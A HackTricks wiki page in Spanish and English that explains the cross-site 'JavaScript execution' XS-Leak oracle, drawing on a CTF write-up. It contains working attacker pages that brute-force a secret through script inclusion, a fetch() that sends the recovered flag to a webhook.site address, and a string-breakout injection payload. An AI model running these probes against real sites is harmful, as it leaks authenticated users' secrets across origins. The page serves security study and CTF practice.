JavaScript Execution XS Leak
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Este primitive de XS-Search convierte si una respuesta cross-origin se ejecuta como JavaScript en un Boolean oracle.
La configuración habitual es:
- Positive state: el target devuelve texto controlado por el attacker o contenido sensible que no se ejecuta como JavaScript del attacker.
- Negative state: el target refleja texto controlado por el attacker en un lugar que se parsea como JavaScript válido, así que el attacker puede forzar un callback como
window.parent.foo(). - Leak: cargar el target con un clásico
<script src>y observar si el callback se dispara.
Esto es básicamente un execution oracle, no un timing oracle. Lo único que necesita el attacker es una cross-origin script inclusion que se comporte de forma distinta según la rama dependiente del secret.
Para el contexto general de XS-Leaks, consulta:
When This Works
Esta técnica es práctica cuando todo lo siguiente es cierto:
- La víctima está autenticada en el target origin.
- El attacker puede hacer que el navegador de la víctima solicite un classic script desde el target origin.
- Una rama devuelve contenido que es valid attacker-controlled JavaScript.
- La otra rama devuelve contenido que no ejecuta el attacker callback.
En la práctica, los casos más fáciles son endpoints de search/debug que:
- devuelven texto controlado por el attacker cuando una guess es incorrecta
- devuelven un body diferente cuando la guess es correcta
- permiten al attacker elegir un parámetro como
callback,hint,msg, o un prefijo/sufijo reflejado
Basic Example
Server-side code que intentará ${guess} como prefijo de la flag:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
Página principal que genera iframes hacia la página anterior /guessing para probar cada posibilidad:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
La lógica del atacante es:
- Comienza cada candidato como “good”.
- Carga la respuesta objetivo como un script.
- Si la respuesta ejecuta
window.parent.foo(), marca el candidato como wrong. - Si no se activa ningún callback, conserva el candidato y continúa brute-forcing.
Minimal Probe Pattern
En muchos objetivos reales, no se requiere un iframe. Una inclusión directa de script es suficiente:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
Si la rama de “wrong guess” refleja miss(), entonces:
probe(...) === falsesignifica que el callback se ejecutó o que la carga fallóprobe(...) === truesignifica que el script se cargó sin ejecutar el callback del atacante
Para mayor fiabilidad, usa un fresh script element per probe y añade un cache-buster como ?r=${crypto.randomUUID()}.
Modern Caveats
It must be a classic script
Este primitive depende de que el browser obtenga el recurso como un classic script. Un <script src=...> simple sin crossorigin se obtiene en modo no-cors, que es exactamente por qué este patrón antiguo sigue siendo útil cross-origin.
No cambies a type="module" para esta técnica:
- los cross-origin module scripts require CORS
- muchos targets que pueden incluirse como classic scripts simplemente fallarán como modules
MIME type and nosniff decide whether the payload executes
Los browsers actuales son más estrictos que las writeups antiguas. Si el target establece X-Content-Type-Options: nosniff, el browser bloqueará una script response cuyo MIME type no sea un JavaScript MIME type.
Eso significa que este oracle a menudo depende de:
- si el target devuelve
application/javascript/text/javascript - si el target devuelve
text/plain,text/html, o JSON - si
nosniffestá presente
Esto también explica por qué algunos endpoints solo dan un leak en una rama: una response se acepta como script, mientras que la otra rama se bloquea o se parsea de forma diferente.
CORB can change the observable result
CORB añade otra rama a tener en cuenta. Si una response se considera protegida por CORB, Chromium puede convertirla en una empty valid script response en lugar de mostrar un parse failure. Así que para algunos endpoints:
- un estado provoca un normal script parse / callback
- otro estado se convierte en un empty script y solo dispara
onload
Eso sigue siendo un oracle útil, pero la señal ahora es callback vs no callback o onload vs onerror, no solo “JavaScript executed or not”.
CSP can kill the attacker-controlled branch
Una CSP estricta en la target response puede romper este primitive cuando la rama reflejada ya no es JavaScript ejecutable. Las public XS-Leak challenge writeups de 2022 a 2024 dependen repetidamente de este detalle:
script-src 'none'puede obligar a los attackers a pivotar lejos de un direct execution oracle- las interacciones CSP/SRI/CSP-report aún pueden crear other leak oracles, pero pertenecen a otras páginas/técnicas
Así que cuando el truco obvio del callback no funcione, inspecciona las response headers antes de descartar el endpoint.
Useful Variants
Callback-parameter endpoints
El target más conveniente es un endpoint estilo JSONP o debug que acepte un parámetro como:
callback=...cb=...jsonp=...hint=...msg=...
Si la rama “miss” refleja ese valor literalmente dentro de JavaScript ejecutable mientras la rama “hit” devuelve contenido distinto, obtienes un oracle Boolean directo sin medición de tiempo.
Syntax-preserving prefixes and suffixes
A veces no puedes controlar por completo el response body, pero aun así puedes hacer que la rama negativa se ejecute:
- cerrar la cadena o el argumento de función actual
- inyectar el callback
- comentar los bytes finales
Por ejemplo, una reflected branch como:
showResult("<attacker>");
a menudo puede convertirse en:
showResult("");window.parent.foo();//");
Si la rama positiva no refleja ese payload, el callback se convierte en el oracle.
Combining with event-based oracles
Si el endpoint es inestable entre navegadores, combina el execution oracle con los eventos genéricos de carga de script ya cubiertos en el índice de la sección:
- callback fired
onloadonerror
Esto es especialmente útil cuando una rama devuelve JavaScript válido y otra rama produce comportamiento de MIME / CORB / CSP bloqueado.
Páginas relacionadas:
Practical Notes
- Prefiere un bit por request y mantén el side effect del callback simple.
- Si pruebas muchos candidatos, elimina los elementos
<script>insertados previamente o aísla cada intento en un iframe nuevo. - El comportamiento de caché y service worker puede contaminar el oracle; usa cache-busting.
- Este primitive es más fuerte cuando la rama negativa es JavaScript completamente controlado por el atacante. Si solo obtienes una reflexión parcial, el exploit se convierte en un problema de payload-shaping en lugar de un problema de XS-Search.
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


